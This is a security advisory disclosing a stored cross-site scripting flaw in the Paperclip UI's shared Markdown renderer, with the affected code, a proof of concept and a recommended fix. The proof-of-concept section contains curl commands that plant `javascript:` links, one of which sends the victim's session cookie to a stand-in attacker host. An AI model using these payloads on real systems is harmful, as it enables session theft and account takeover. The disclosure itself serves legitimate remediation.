Description
## Summary
`MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) => url}` to `react-markdown`. That override replaces `react-markdown`'s built-in `defaultUrlTransform` — the library's only defense against `javascript:`/`vbscript:`/`data:` URL injection — with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant.
## Details
### 1. Sink: MarkdownBody overrides url sanitization
`ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element):
```tsx
a: ({ href, children: linkChildren }) => {
const parsed = href ? parseMentionChipHref(href) : null;
if (parsed) { /* mention chip path, rewrites href */ }
return (
<a href={href} rel="noreferrer">
{linkChildren}
</a>
);
},
// ...
<Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}>
{children}
</Markdown>
```
`react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) => url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin.
### 2. Source: unsanitized markdown bodies
`server/src/routes/issues.ts:815-862` accepts issue document bodies:
```ts
router.put("/issues/:id/documents/:key", validate(upsertIssueDocumentSchema), async (req, res) => {
// ...
assertCompanyAccess(req, issue.companyId);
// ...
const result = await documentsSvc.upsertIssueDocument({
issueId: issue.id,
key: keyParsed.data,
title: req.body.title ?? null,
format: req.body.format,
body: req.body.body, // ← stored verbatim
// ...
});
```
`packages/shared/src/validators/issue.ts:196-202`:
```ts
export const upsertIssueDocumentSchema = z.object({
title: z.string().trim().max(200).nullable().optional(),
format: issueDocumentFormatSchema, // enum: ["markdown"]
body: z.string().max(524288), // no content validation
// ...
});
```
Only the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator).
### 3. Rendering path
`ui/src/components/IssueDocumentsSection.tsx:71-72`:
```tsx
function renderBody(body: string, className?: string) {
return <MarkdownBody className={className}>{body}</MarkdownBody>;
}
```
`ui/src/components/CommentThread.tsx:372`:
```tsx
<MarkdownBody className="text-sm">{comment.body}</MarkdownBody>
```
The same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability.
### 4. Authorization does not block cross-user reach
`server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue.
### 5. No compensating CSP
A repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click.
## PoC
Prerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `<ISSUE_ID>`, the backend reachable on `http://localhost:3000`.
**Step 1 — Attacker plants a malicious issue document:**
```bash
curl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \
-H 'Cookie: <attacker-session-cookie>' \
-H 'Content-Type: application/json' \
-d '{
"format": "markdown",
"body": "# Plan\n\n[Click for details](javascript:fetch(\"https://attacker.example/steal?c=\"+encodeURIComponent(document.cookie)))"
}'
```
Expected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes.
**Step 2 — Victim opens the issue:**
The victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` → `<MarkdownBody>`, which emits the DOM:
```html
<a href="javascript:fetch("https://attacker.example/steal?c="+encodeURIComponent(document.cookie))" rel="noreferrer">Click for details</a>
```
**Step 3 — Victim clicks the link:**
The browser executes the `javascript:` URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.
**Alternate vector — comments (same sink):**
```bash
curl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \
-H 'Cookie: <attacker-session-cookie>' \
-H 'Content-Type: application/json' \
-d '{"body":"[pwn](javascript:alert(document.cookie))"}'
```
`CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges.
## Impact
- **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click.
- **Session hijack.** The script executes on the Paperclip origin with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host.
- **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings).
- **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable.
- **Persistent.** The payload lives in the document or comment record until explicitly deleted.
## Recommended Fix
The minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`'s `defaultUrlTransform`:
```tsx
// ui/src/components/MarkdownBody.tsx
import Markdown, { defaultUrlTransform, type Components } from "react-markdown";
// ...
// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,
// but fall back to the library's scheme allow-list for everything else.
function safeUrlTransform(url: string): string {
if (url.startsWith("paperclip-mention://")) return url;
return defaultUrlTransform(url);
}
<Markdown
remarkPlugins={[remarkGfm]}
components={components}
urlTransform={safeUrlTransform}
>
{children}
</Markdown>
```
`defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every call site of `MarkdownBody`.
Defense-in-depth recommendations:
1. Add a strict Content-Security-Policy header to the main app response (e.g. `script-src 'self' 'nonce-...'`) so that even a future regression cannot execute inline JS via `javascript:` navigation.
2. Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject `](javascript:` sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content.
3. Audit every existing component for other `urlTransform`/`skipHtml`/`rehype-raw` overrides that might reintroduce the same bypass.
Affected packages
| Ecosystem | Package | Affected | Fixed | Record |
|---|---|---|---|---|
| npm | @paperclipai/ui | < 2026.416.0 | 2026.416.0 | GHSA-fpw4-p57j-hqmq |